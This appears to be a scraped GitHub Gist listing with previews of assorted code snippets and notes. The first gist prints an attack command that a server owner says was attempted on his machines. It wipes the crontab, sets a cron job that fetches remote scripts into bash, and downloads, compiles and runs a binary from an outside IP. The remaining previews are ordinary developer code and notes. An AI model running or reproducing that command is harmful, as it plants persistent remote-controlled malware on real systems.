Skip to content

Instantly share code, notes, and snippets.

@ismasan
ismasan / gist:5647955
Created May 25, 2013 04:55
Some asshole tried to access my servers and run this (they couldn't)
crontab -r; echo \"1 * * * * wget -O - colkolduld.com/cmd1|bash;wget -O - lochjol.com/cmd2|bash;wget -O - ddos.cat.com/cmd3|bash;\"|crontab -;wget http://88.198.20.247/k.c -O /tmp/k.c; gcc -o /tmp/k /tmp/k.c; chmod +x /tmp/k; /tmp/k||wget http://88.198.20.247/k -O /tmp/k && chmod +x /tmp/k && /tmp/k
@paulfryzel
paulfryzel / gist:3947535
Created October 24, 2012 17:36
like gofmt but for c... and using astyle
#!/usr/bin/env bash
# mostly from http://word.bitly.com/post/31921713978/static-analysis
function cfmt {
if [[ $# -ne 1 ]]; then
echo "Usage: cfmt <file>"
else
astyle \
--style=1tbs \
--lineend=linux \
--convert-tabs \
@vvalgis
vvalgis / gist:3444393
Created August 24, 2012 01:17
String mixin for console color output
<<COLORS
black='\033[0;30m'
BLACK='\033[1;30m'
red='\033[0;31m'
RED='\033[1;31m'
green='\033[0;32m'
GREEN='\033[1;32m'
yellow='\033[0;33m'
YELLOW='\033[1;33m'
blue='\033[0;34m'
@HasAndries
HasAndries / gist:3135128
Created July 18, 2012 08:55 — forked from oborder/gist:3103533
angularjs directive for bootstrap datepicker : eternicode/bootstrap-datepicker, eyecon.ro
angular.module('bDatepicker', []).
directive('bDatepicker', function(){
return {
require: '?ngModel',
restrict: 'A',
link: function($scope, element, attrs, controller) {
var updateModel;
updateModel = function(ev) {
element.datepicker('hide');
element.blur();
@frsyuki
frsyuki / my_thoughts_on_msgpack.md
Created June 11, 2012 02:36
My thoughts on MessagePack

My thoughts on MessagePack

Hi. My name is Sadayuki "Sada" Furuhashi. I am the author of the MessagePack serialization format as well as its implementation in C/C++/Ruby.

Recently, MessagePack made it to the front page of Hacker News with this blog entry by Olaf, the creator of the Facebook game ZeroPilot. In the comment thread, there were several criticisms for the blog post as well as MessagePack itself, and I thought this was a good opportunity for me to address the questions and share my thoughts.

My high-level response to the comments

To the best of my understanding, roughly speaking, the criticisms fell into the following two categories.

# Ебический, ебический модуль эмуляции динамических роутов из базы.
# Альтернатива reload_routes!
# Это блять пиздец ебануться какой ебический модуль.
# Но зато - теперь будем клонировать.
# Нужно его гемофицировать.
module Megatron
class Rewrite
REWRITE_CACHE_KEY = 'megatron.rewrite_cache'
HELPERS_CACHE_KEY = 'megatron.helpers_cache'
@sj26
sj26 / 0-readme.md
Created May 5, 2012 05:39 — forked from burke/0-readme.md
ruby-1.9.3-p194 cumulative performance patch.

Patched ruby 1.9.3-p194 for 30% faster rails boot

What is?

This script installs a patched version of ruby 1.9.3-p194 with patches for boot-time performance improvements (#66 and #68), and runtime performance improvements (#83 and #84). It also includes the new backported GC from ruby-trunk.

Huge thanks to funny-falcon for the performance patches.

tmux cheatsheet

As configured in my dotfiles.

start new:

tmux

start new with session name:

@vjt
vjt / camelize.js
Created February 15, 2011 15:50
String.camelize
// I thought I needed it, but I didn't need it anymore,
// but I already implemented it. So, here we go, if you
// ever would need a Javascript camelize implementation
// you can freely use this :-).
// - vjt@openssl.it Tue Feb 15 16:49:52 CET 2011
jQuery.extend (String.prototype, {
camelize: function () {
return this.replace (/(?:^|[-_])(\w)/g, function (_, c) {
module CML2
# Includes to ProductCategory model
module ProductCategory
def import node_set
::ProductCategory.delete_all
::ProductCategory.import_categories \
node_set.xpath('/КоммерческаяИнформация/Классификатор/Группы')
end